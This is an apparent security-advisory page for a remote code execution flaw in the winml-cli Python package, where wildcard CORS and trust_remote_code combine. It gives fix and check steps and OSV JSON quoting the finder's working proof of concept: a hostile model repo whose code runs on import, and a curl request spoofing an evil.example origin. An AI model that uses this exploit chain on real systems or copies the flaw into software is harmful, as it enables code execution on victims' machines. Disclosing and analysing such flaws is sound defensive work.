CVE-2026-84452: Windows ML CLI Remote Code Execution Vulnerability
HIGHCVE-2026-84452 is a HIGH remote code execution vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting Windows ML CLI libraries in the PyPI ecosystem. The issue involves cors misconfig enables localhost rce. Remediation is available by upgrading affected packages to version 0.4.0.
CVE-2026-84452 at a Glance
How to Fix CVE-2026-84452
To remediate this vulnerability, upgrade all affected Windows ML CLI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install winml-cli>=0.4.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show winml-cli
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-84452, inspect your installed packages using pip:
pip show winml-cli
Analyze the terminal output to locate any version of Windows ML CLI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.0), your application is affected.
Note: The pip show winml-cli command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In Windows ML CLI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-84452 Affected Windows ML CLI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
winml-cli
|
PyPI |
< 0.4.0
|
0.4.0
|
References
Frequently Asked Questions
What is CVE-2026-84452?
Which Windows ML CLI versions are affected?
What version fixes CVE-2026-84452?
Is winml-cli affected?
What CWE is associated with CVE-2026-84452?
How can I check PyPI dependencies for CVE-2026-84452?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-96p9-rh4f-92cf",
"modified" : "2026-09-08T21:27:59Z",
"published" : "2026-09-08T21:27:59Z",
"aliases" : [ "CVE-2026-84452" ],
"summary" : "Windows ML CLI: CORS misconfig enables localhost RCE",
"details" : "Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level → runs on import)\n\ncat > /tmp/poc/evil/pwn/config.json <<'EOF'\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime('%F %T')}\\n\"\n f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat > /tmp/poc/serve.py <<'EOF'\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n def __init__(s,*a,**k): pass\n def start(s,*a,**k): pass\n def stop(s,*a,**k): pass\n def poll(s,*a,**k): return {}\n def sample(s,*a,**k): return {}\n def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &\nsleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up\n4. Exploit\n\ncurl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \\\n -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \\\n -d '{\"args\":{\"model\":\"/tmp/poc/evil/pwn\",\"output_dir\":\"/tmp/poc/out\",\"trust_remote_code\":true}}' \\\n | grep -iE '^HTTP|^access-control-allow-origin'\ncat ~/winml-poc/temp/PWNED\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\nARBITRARY CODE EXECUTION\ntime=2026-08-17 11:24:35\nuser=shrini host=Shrinivasan pid=11616",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "winml-cli"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-84452"
}, {
"type" : "WEB",
"url" : "https://github.com/microsoft/winml-cli/pull/1321"
}, {
"type" : "WEB",
"url" : "https://github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/microsoft/winml-cli"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306", "CWE-942" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-08T21:27:59Z",
"nvd_published_at" : "2026-09-02T20:17:41Z"
}
}